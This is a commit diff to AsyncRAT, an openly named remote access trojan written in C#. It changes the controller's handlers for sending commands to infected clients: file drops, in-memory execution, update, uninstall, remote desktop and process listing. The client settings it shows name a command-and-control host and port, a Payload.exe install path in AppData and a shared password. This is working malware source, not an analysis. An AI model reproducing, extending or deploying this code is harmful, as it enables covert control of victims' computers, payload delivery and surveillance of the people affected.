This commit is contained in:
NYAN CAT 2019-03-29 12:02:01 -07:00
parent 8d02b316da
commit 5ca08616fe
3 changed files with 54 additions and 77 deletions

View File

@ -137,24 +137,21 @@ namespace AsyncRAT_Sharp
toolStripStatusLabel1.Text = $"Online {Settings.Online.Count.ToString()} Selected {listView1.SelectedItems.Count.ToString()} Sent {Methods.BytesToString(Settings.Sent).ToString()} Received {Methods.BytesToString(Settings.Received).ToString()}"; toolStripStatusLabel1.Text = $"Online {Settings.Online.Count.ToString()} Selected {listView1.SelectedItems.Count.ToString()} Sent {Methods.BytesToString(Settings.Sent).ToString()} Received {Methods.BytesToString(Settings.Received).ToString()}";
} }
private async void cLOSEToolStripMenuItem_Click(object sender, EventArgs e) private void cLOSEToolStripMenuItem_Click(object sender, EventArgs e)
{ {
if (listView1.SelectedItems.Count > 0) if (listView1.SelectedItems.Count > 0)
{ {
MsgPack msgpack = new MsgPack(); MsgPack msgpack = new MsgPack();
msgpack.ForcePathObject("Packet").AsString = "close"; msgpack.ForcePathObject("Packet").AsString = "close";
foreach (ListViewItem C in listView1.SelectedItems) foreach (ListViewItem C in listView1.SelectedItems)
{
await Task.Run(() =>
{ {
Clients CL = (Clients)C.Tag; Clients CL = (Clients)C.Tag;
CL.BeginSend(msgpack.Encode2Bytes()); ThreadPool.QueueUserWorkItem(CL.BeginSend, msgpack.Encode2Bytes());
});
} }
} }
} }
private async void sENDMESSAGEBOXToolStripMenuItem_Click(object sender, EventArgs e) private void sENDMESSAGEBOXToolStripMenuItem_Click(object sender, EventArgs e)
{ {
if (listView1.SelectedItems.Count > 0) if (listView1.SelectedItems.Count > 0)
{ {
@ -167,12 +164,9 @@ namespace AsyncRAT_Sharp
msgpack.ForcePathObject("Packet").AsString = "sendMessage"; msgpack.ForcePathObject("Packet").AsString = "sendMessage";
msgpack.ForcePathObject("Message").AsString = Msgbox; msgpack.ForcePathObject("Message").AsString = Msgbox;
foreach (ListViewItem C in listView1.SelectedItems) foreach (ListViewItem C in listView1.SelectedItems)
{
await Task.Run(() =>
{ {
Clients CL = (Clients)C.Tag; Clients CL = (Clients)C.Tag;
CL.BeginSend(msgpack.Encode2Bytes()); ThreadPool.QueueUserWorkItem(CL.BeginSend, msgpack.Encode2Bytes());
});
} }
} }
} }
@ -193,13 +187,10 @@ namespace AsyncRAT_Sharp
msgpack.ForcePathObject("Extension").AsString = Path.GetExtension(O.FileName); msgpack.ForcePathObject("Extension").AsString = Path.GetExtension(O.FileName);
msgpack.ForcePathObject("Update").AsString = "false"; msgpack.ForcePathObject("Update").AsString = "false";
foreach (ListViewItem C in listView1.SelectedItems) foreach (ListViewItem C in listView1.SelectedItems)
{
await Task.Run(() =>
{ {
Clients CL = (Clients)C.Tag; Clients CL = (Clients)C.Tag;
CL.BeginSend(msgpack.Encode2Bytes());
CL.LV.ForeColor = Color.Red; CL.LV.ForeColor = Color.Red;
}); ThreadPool.QueueUserWorkItem(CL.BeginSend, msgpack.Encode2Bytes());
} }
} }
} }
@ -210,7 +201,7 @@ namespace AsyncRAT_Sharp
} }
} }
private async void uNISTALLToolStripMenuItem_Click(object sender, EventArgs e) private void uNISTALLToolStripMenuItem_Click(object sender, EventArgs e)
{ {
if (listView1.SelectedItems.Count > 0) if (listView1.SelectedItems.Count > 0)
{ {
@ -219,12 +210,9 @@ namespace AsyncRAT_Sharp
MsgPack msgpack = new MsgPack(); MsgPack msgpack = new MsgPack();
msgpack.ForcePathObject("Packet").AsString = "uninstall"; msgpack.ForcePathObject("Packet").AsString = "uninstall";
foreach (ListViewItem C in listView1.SelectedItems) foreach (ListViewItem C in listView1.SelectedItems)
{
await Task.Run(() =>
{ {
Clients CL = (Clients)C.Tag; Clients CL = (Clients)C.Tag;
CL.BeginSend(msgpack.Encode2Bytes()); ThreadPool.QueueUserWorkItem(CL.BeginSend, msgpack.Encode2Bytes());
});
} }
} }
catch (Exception ex) catch (Exception ex)
@ -249,13 +237,10 @@ namespace AsyncRAT_Sharp
msgpack.ForcePathObject("Extension").AsString = Path.GetExtension(O.FileName); msgpack.ForcePathObject("Extension").AsString = Path.GetExtension(O.FileName);
msgpack.ForcePathObject("Update").AsString = "true"; msgpack.ForcePathObject("Update").AsString = "true";
foreach (ListViewItem C in listView1.SelectedItems) foreach (ListViewItem C in listView1.SelectedItems)
{
await Task.Run(() =>
{ {
Clients CL = (Clients)C.Tag; Clients CL = (Clients)C.Tag;
CL.BeginSend(msgpack.Encode2Bytes());
CL.LV.ForeColor = Color.Red; CL.LV.ForeColor = Color.Red;
}); ThreadPool.QueueUserWorkItem(CL.BeginSend, msgpack.Encode2Bytes());
} }
} }
} }
@ -266,7 +251,7 @@ namespace AsyncRAT_Sharp
} }
} }
private async void sENDFILETOMEMORYToolStripMenuItem_Click(object sender, EventArgs e) private void sENDFILETOMEMORYToolStripMenuItem_Click(object sender, EventArgs e)
{ {
if (listView1.SelectedItems.Count > 0) if (listView1.SelectedItems.Count > 0)
{ {
@ -291,13 +276,10 @@ namespace AsyncRAT_Sharp
} }
foreach (ListViewItem C in listView1.SelectedItems) foreach (ListViewItem C in listView1.SelectedItems)
{
await Task.Run(() =>
{ {
Clients CL = (Clients)C.Tag; Clients CL = (Clients)C.Tag;
CL.BeginSend(msgpack.Encode2Bytes());
CL.LV.ForeColor = Color.Red; CL.LV.ForeColor = Color.Red;
}); ThreadPool.QueueUserWorkItem(CL.BeginSend, msgpack.Encode2Bytes());
} }
} }
SF.Close(); SF.Close();
@ -309,7 +291,7 @@ namespace AsyncRAT_Sharp
} }
} }
private async void rEMOTEDESKTOPToolStripMenuItem_Click(object sender, EventArgs e) private void rEMOTEDESKTOPToolStripMenuItem_Click(object sender, EventArgs e)
{ {
if (listView1.SelectedItems.Count > 0) if (listView1.SelectedItems.Count > 0)
@ -320,11 +302,9 @@ namespace AsyncRAT_Sharp
msgpack.ForcePathObject("Packet").AsString = "remoteDesktop"; msgpack.ForcePathObject("Packet").AsString = "remoteDesktop";
msgpack.ForcePathObject("Option").AsString = "true"; msgpack.ForcePathObject("Option").AsString = "true";
foreach (ListViewItem C in listView1.SelectedItems) foreach (ListViewItem C in listView1.SelectedItems)
{
await Task.Run(() =>
{ {
Clients CL = (Clients)C.Tag; Clients CL = (Clients)C.Tag;
CL.BeginSend(msgpack.Encode2Bytes()); ThreadPool.QueueUserWorkItem(CL.BeginSend, msgpack.Encode2Bytes());
this.BeginInvoke((MethodInvoker)(() => this.BeginInvoke((MethodInvoker)(() =>
{ {
@ -342,7 +322,6 @@ namespace AsyncRAT_Sharp
RD.Show(); RD.Show();
} }
})); }));
});
} }
} }
catch (Exception ex) catch (Exception ex)
@ -353,7 +332,7 @@ namespace AsyncRAT_Sharp
} }
private async void pROCESSMANAGERToolStripMenuItem_Click(object sender, EventArgs e) private void pROCESSMANAGERToolStripMenuItem_Click(object sender, EventArgs e)
{ {
try try
{ {
@ -363,11 +342,10 @@ namespace AsyncRAT_Sharp
msgpack.ForcePathObject("Packet").AsString = "processManager"; msgpack.ForcePathObject("Packet").AsString = "processManager";
msgpack.ForcePathObject("Option").AsString = "List"; msgpack.ForcePathObject("Option").AsString = "List";
foreach (ListViewItem C in listView1.SelectedItems) foreach (ListViewItem C in listView1.SelectedItems)
{
await Task.Run(() =>
{ {
Clients CL = (Clients)C.Tag; Clients CL = (Clients)C.Tag;
CL.BeginSend(msgpack.Encode2Bytes()); ThreadPool.QueueUserWorkItem(CL.BeginSend, msgpack.Encode2Bytes());
this.BeginInvoke((MethodInvoker)(() => this.BeginInvoke((MethodInvoker)(() =>
{ {
ProcessManager PM = (ProcessManager)Application.OpenForms["processManager:" + CL.ID]; ProcessManager PM = (ProcessManager)Application.OpenForms["processManager:" + CL.ID];
@ -383,7 +361,6 @@ namespace AsyncRAT_Sharp
PM.Show(); PM.Show();
} }
})); }));
});
} }
} }
} }

View File

@ -9,7 +9,7 @@ namespace AsyncRAT_Sharp
public static List<Clients> Online = new List<Clients>(); public static List<Clients> Online = new List<Clients>();
public static List<string> Blocked = new List<string>(); public static List<string> Blocked = new List<string>();
public static string Port = "6606,7707,8808"; public static string Port = "6606,7707,8808";
public static readonly string Version = "AsyncRAT 0.2.8"; public static readonly string Version = "AsyncRAT 0.2.8A";
public static long Sent = 0; public static long Sent = 0;
public static long Received = 0; public static long Received = 0;
public static string Password = "NYAN CAT"; public static string Password = "NYAN CAT";

View File

@ -9,7 +9,7 @@ namespace Client
{ {
public static readonly string Ports = "6606" ; public static readonly string Ports = "6606" ;
public static readonly string Host = "127.0.0.1" ; public static readonly string Host = "127.0.0.1" ;
public static readonly string Version = "AsyncRAT 0.2.8"; public static readonly string Version = "AsyncRAT 0.2.8A";
public static readonly string Install = "false"; public static readonly string Install = "false";
public static readonly string ClientFullPath = Path.Combine(Environment.ExpandEnvironmentVariables("%AppData%"), "Payload.exe"); public static readonly string ClientFullPath = Path.Combine(Environment.ExpandEnvironmentVariables("%AppData%"), "Payload.exe");
public static string Password = "NYAN CAT"; public static string Password = "NYAN CAT";